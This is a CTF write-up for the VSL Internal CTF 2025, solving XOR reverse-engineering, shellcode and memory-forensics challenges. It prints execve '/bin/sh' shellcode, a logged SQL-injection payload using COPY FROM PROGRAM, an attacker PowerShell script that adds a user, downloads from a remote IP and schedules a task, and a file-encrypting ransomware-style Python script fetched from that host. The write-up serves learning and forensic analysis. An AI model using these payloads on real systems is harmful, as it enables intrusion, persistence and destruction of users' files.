---
# System prepended metadata

title: VSL Internal CTF 2025
tags: [Forensics, Reverse Engineering]

---

# VSL Internal CTF 2025

![image](https://hackmd.io/_uploads/Bkzd7-WwJg.png)

---

## Reverse Engineering
### EasyXor

![image](https://hackmd.io/_uploads/BJIWVZbwkx.png)

```!
flag.txt: 0018195b0b55312a2601472675220310134c4b6231206514161037563c361a081815132206515d0018195b0b55312a2601472675220310134c4b6231206514161037563c361a081815132206515d0018195b0b55312a2601472675220310134c4b6231206514161037563c361a081815132206515d0018195b0b55312a2601472675220310134c4b6231206514161037563c361a081815132206515d0018195b0b55312a2601472675220310134c4b6231206514161037563c361a081815132206515d0018195b0b55312a2601472675220310134c4b6231206514161037563c361a081815132206515d0018195b0b55312a2601472675220310
```
The challenge gave out an apk file, so lets decompressed it back to jar first by using [dex2jar](https://github.com/pxb1988/dex2jar) 

![image](https://hackmd.io/_uploads/BJP7S-Zv1g.png)

after getting the jar file, extract it using [jd-gui](https://java-decompiler.github.io/)

we got the password by debase64 the string inside leanhtruong.j4f package and the whole encryption process also in there just different class

![image](https://hackmd.io/_uploads/rJ-ASZWPyl.png)

![image](https://hackmd.io/_uploads/ryIuLZbvyg.png)

```py!
def xor_decrypt(encrypted_hex: str, key: str) -> str:
    encrypted_bytes = bytes.fromhex(encrypted_hex)
    key_bytes = key.encode('utf-8')
    decrypted_bytes = bytearray(len(encrypted_bytes))
    for i in range(len(encrypted_bytes)):
        decrypted_bytes[i] = encrypted_bytes[i] ^ key_bytes[i % len(key_bytes)]
    return decrypted_bytes.decode('utf-8')

encrypted_hex = "0018195b0b55312a2601472675220310134c4b6231206514161037563c361a081815132206515d0018195b0b55312a2601472675220310134c4b6231206514161037563c361a081815132206515d0018195b0b55312a2601472675220310134c4b6231206514161037563c361a081815132206515d0018195b0b55312a2601472675220310134c4b6231206514161037563c361a081815132206515d0018195b0b55312a2601472675220310134c4b6231206514161037563c361a081815132206515d0018195b0b55312a2601472675220310134c4b6231206514161037563c361a081815132206515d0018195b0b55312a2601472675220310"
key = "VKU Security Lab - VSL"  #VktVIFNlY3VyaXR5IExhYiAtIFZTTA debase64
print(xor_decrypt(encrypted_hex, key))
```

![image](https://hackmd.io/_uploads/SyRUv--PJl.png)


## PWN
### asm-machine

![image](https://hackmd.io/_uploads/HkEjvW-vkl.png)

This challeng just simply about writing a shellcode, here is the shellcode:

```asm!
section .data
    sh db '/bin/sh', 0           

section .text
global _start

_start:
    xor eax, eax                 
    push eax                     
    push 0x68732f2f              
    push 0x6e69622f              
    mov ebx, esp                 

    xor ecx, ecx                 
    xor edx, edx                 
    mov al, 11                   
    int 0x80                     
end
```
![image](https://hackmd.io/_uploads/Sk9BOWbDJe.png)

## Forensics
### Easy Log

![image](https://hackmd.io/_uploads/Syj3dZZwyx.png)

We have received a log file from a website that has been attacked with account&password bruteforcing.

![image](https://hackmd.io/_uploads/SkizK-Wwkx.png)

But after the attacker succeeded in bruteforcing and logged in, they started to do something weird

```
192.168.25.1 - - [11/Jan/2025 02:53:26] "GET http://secret.vsl.com.vn/user?id=1;COPY%20binary%20FROM%20PROGRAM%20%27echo%200200000006000000e02d000000000000%20%3E%3E%20binary%27 HTTP/1.1" 200 - "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0"
```

After noticing this, I quickly wrote a script and dump all the thing that the attack request to the server thats contains ```COPY%20binary%20FROM%20PROGRAM%20%27echo%```
script:
```py!
import re
import binascii

def convert(log_file, output_file):
    with open(log_file, 'r') as file:
        logs = file.readlines()

    converted_lines = []
    for log in logs:
        match = re.search(r"COPY%20binary%20FROM%20PROGRAM%20%27echo%20([0-9a-fA-F]+)%20", log)
        if match:
            binary_data = match.group(1)
            try:
                data = binascii.unhexlify(binary_data).decode('utf-8', errors='replace')
                converted_lines.append(data)
            except:
                pass


    with open(output_file, 'w') as file:
        file.write("\n".join(converted_lines))


log_file = 'evidence-log.txt'
output_file = 'lmao.txt'
convert(log_file, output_file)
```
and found out that, its an ELF

![image](https://hackmd.io/_uploads/HJoRq-bw1x.png)

compiled and string to get the flag

![image](https://hackmd.io/_uploads/HywvoZbw1g.png)

### 4 parts

![image](https://hackmd.io/_uploads/B1misWbDyx.png)

The first thing I saw after checking the raw file with volatility is a readme.png and secret.txt.txt.vsl

![image](https://hackmd.io/_uploads/HkAphZZwyl.png)

we got the 4th part of the flag and a string after convert the txt file from hex

```
IVBIfZrJtEPpPiwA2b8mQQ7wKvgbKngklrJtcrX2CiJwWF5szQOK5D7E9qL+OgoE5h8nXO4DEgKeCrYoFzCMfpwfP89Z94c+gh34vRGPrq31dQDMUA+C6yK+8ukp+CHx
```

Let's continue investigating, I also found out that there a powershell process, I immediately start searching for a ps1 script and envtually found it, there 2 ways of finding this, the first one is by searching for ps1 after dump and string the powershell process, second is to use volatility(not the volatility3)

![image](https://hackmd.io/_uploads/BJm8pWZwkg.png)

I will be showing the volatility(not the volatility3) from now on, since it's needed for the next part

![image](https://hackmd.io/_uploads/SJE8AbWDJx.png)

we can see here a script that got download and seem like it's encoded in base64, decode it gave us the ps1 script that I mentioned above

![image](https://hackmd.io/_uploads/HyzEAWbDJg.png)

![image](https://hackmd.io/_uploads/S1vhCZbP1x.png)

```ps1!
$Username = "hello"
$Password = "hellokitty"
$ImagePath = "C:\Users\Public\Pictures\background.png"
$ImageUrl = "http://61.14.233.104:7331/hacked.png"
$Part2 = "pp3n3d_1ns1"

Invoke-Expression -Command "net user $Username $Password /add"
Invoke-Expression -Command "net localgroup Users $Username /add"

$webClient = New-Object System.Net.WebClient
$webClient.DownloadFile($ImageUrl, $ImagePath)

$Script = @"
Add-Type -TypeDefinition `
'using System;
using System.Runtime.InteropServices;

public class Wallpaper {
    [DllImport("user32.dll", CharSet = CharSet.Auto)]
    public static extern int SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni);
}'

[Wallpaper]::SystemParametersInfo(20, 0, `"$ImagePath`", 0x01 | 0x02);
"@

# [System.Environment]::SetEnvironmentVariable('secret_pass', '<redacted>', [System.EnvironmentVariableTarget]::User) # Do something with bg image

Set-Content -Path "C:\Users\Public\Documents\Set-Wallpaper.ps1" -Value $Script

$schTaskCommand = "schtasks /create /tn 'changewall' /tr 'powershell -ExecutionPolicy Bypass -File C:\Users\Public\Documents\Set-Wallpaper.ps1' /sc ONLOGON /ru $Username"
Invoke-Expression -Command $schTaskCommand
```

Okay so, we got the 2nd part of the flag ```$Part2 = "pp3n3d_1ns1"```, also if you noticed there some secret code that got set as an envar, using envar plugin we can get this value back, it's ```y0un3v3rf1ndm3kkk@@```

![image](https://hackmd.io/_uploads/H1nvJfWwyl.png)

**If you notice again, the link to the picture that the attacker used, but don't know why this link is hacked.png and there another script but with bg.jpg**

![image](https://hackmd.io/_uploads/rkoDgGbwyl.png)

using steghide with the secret password you can get the part 3 of the flag, also if you wonder how to find this version of the script, I already said above, string the whole powershell process and search for it

![image](https://hackmd.io/_uploads/SJuzbMbPJg.png)

Okay now we only need part 1 left, get back to the consoles dump from volatility

![image](https://hackmd.io/_uploads/HySi-GbPyl.png)

we saw here is the attacker ran a script and encrypt the secret.txt, if you scroll a bit higher you can see the whole script, its AES

```!
PS C:\Users\admin\Desktop\ImportantDocuments> python -c "from requests import get; print(get('http://61.14.233.104:7331/
evil.py').text)"                                                                                                        
import os                                                                                                               
import base64                                                                                                           
from Crypto.Cipher import AES                                                                                           
from Crypto.Protocol.KDF import scrypt                                                                                  
from Crypto.Util.Padding import pad                                                                                     
from Crypto.Random import get_random_bytes                                                                              
                                                                                                                        
password = input("Enter the password: ")                                                                                
salt = get_random_bytes(16)                                                                                             
key = scrypt(password, salt, key_len=32, N=16384, r=8, p=1)                                                             
cipher = AES.new(key, AES.MODE_CBC)                                                                                     
                                                                                                                        
directory = os.getcwd()                                                                                                 
                                                                                                                        
for filename in os.listdir(directory):                                                                                  
    file_path = os.path.join(directory, filename)                                                                       
    if os.path.isfile(file_path) and not filename.endswith('.vsl'):                                                     
        with open(file_path, 'rb') as file:                                                                             
            file_data = file.read()                                                                                     
                                                                                                                        
        encrypted_data = cipher.encrypt(pad(file_data, AES.block_size))                                                 
        encrypted_data_b64 = base64.b64encode(salt + cipher.iv + encrypted_data)                                        
                                                                                                                        
        with open(file_path + '.vsl', 'wb') as file:                                                                    
            file.write(encrypted_data_b64)                                                                              
        os.remove(file_path)                                                                                            
        print("File has been encrypted and saved as " + file_path + ".vsl")                                             
                                                                                                                        
PS C:\Users\admin\Desktop\ImportantDocuments> notepad evil.py
```

if you wonder what is the key, its an input argument

![image](https://hackmd.io/_uploads/HkBrzGZwke.png)

so lets just decrypt this, here the script:

```py!
import os
import base64
from Crypto.Cipher import AES
from Crypto.Protocol.KDF import scrypt
from Crypto.Util.Padding import unpad

password = "benjaminbunny"
directory = os.getcwd()

for filename in os.listdir(directory):
    file_path = os.path.join(directory, filename)
    if os.path.isfile(file_path) and filename.endswith('.vsl'):
        with open(file_path, 'rb') as file:
            encrypted_data_b64 = file.read()
        encrypted_data = base64.b64decode(encrypted_data_b64)
        salt = encrypted_data[:16]
        iv = encrypted_data[16:32]
        encrypted_content = encrypted_data[32:]
        key = scrypt(password, salt, key_len=32, N=16384, r=8, p=1)
        cipher = AES.new(key, AES.MODE_CBC, iv=iv)
        decrypted_data = unpad(cipher.decrypt(encrypted_content), AES.block_size)
        original_file_path = file_path[:-4]
        with open(original_file_path, 'wb') as file:
            file.write(decrypted_data)

        os.remove(file_path)
```
and part 1 is ```VSL{wh4t_h4 ```

**full flag: VSL{wh4t_h4pp3n3d_1ns1d3_my_l4pt0p_@^@omg@@}**

**First Blood hehe**

![image](https://hackmd.io/_uploads/ryR-mMbvkl.png)

---
![wallpaper](https://hackmd.io/_uploads/HkRNXMWP1g.jpg)
